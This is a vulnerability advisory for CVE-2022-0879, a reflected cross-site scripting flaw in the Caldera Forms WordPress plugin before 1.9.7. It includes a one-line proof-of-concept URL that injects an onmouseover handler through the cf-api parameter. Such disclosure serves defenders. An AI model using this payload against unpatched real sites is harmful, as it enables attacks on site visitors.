Caldera Forms < 1.9.7 – Reflected Cross-Site Scripting | CVE 2022-0879

Description

The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

The issue is only exploitable when there are no forms created yet

https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x

Affects Plugins

caldera-forms

Fixed in 1.9.7

References

CVE

CVE-2022-0879

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

4.7 (medium)

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website

https://kazet.cc/

Verified

Yes

WPVDB ID

c12f6087-1875-4edf-ac32-bec6f712968d

Timeline

Publicly Published

2022-03-28 (about 3 years ago)

Added

2022-03-28 (about 3 years ago)

Last Updated

2022-04-11 (about 3 years ago)

Other

Published

Title

Published

2024-03-29

Title

Favorites < 2.3.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

Published

2024-03-13

Title

Email Subscription Popup < 1.2.21 - Unauthenticated Stored Cross-Site Scripting

Published

2024-12-11

Title

Invoice Payment for WooCommerce < 2.0.0 - Reflected Cross-Site Scripting

Published

2023-07-26

Title

Molongui < 4.6.20 - Reflected XSS

Published

2024-03-26

Title

Simple Ajax Chat < 20240216 - Authenticated (Admin+) Stored Cross-Site Scripting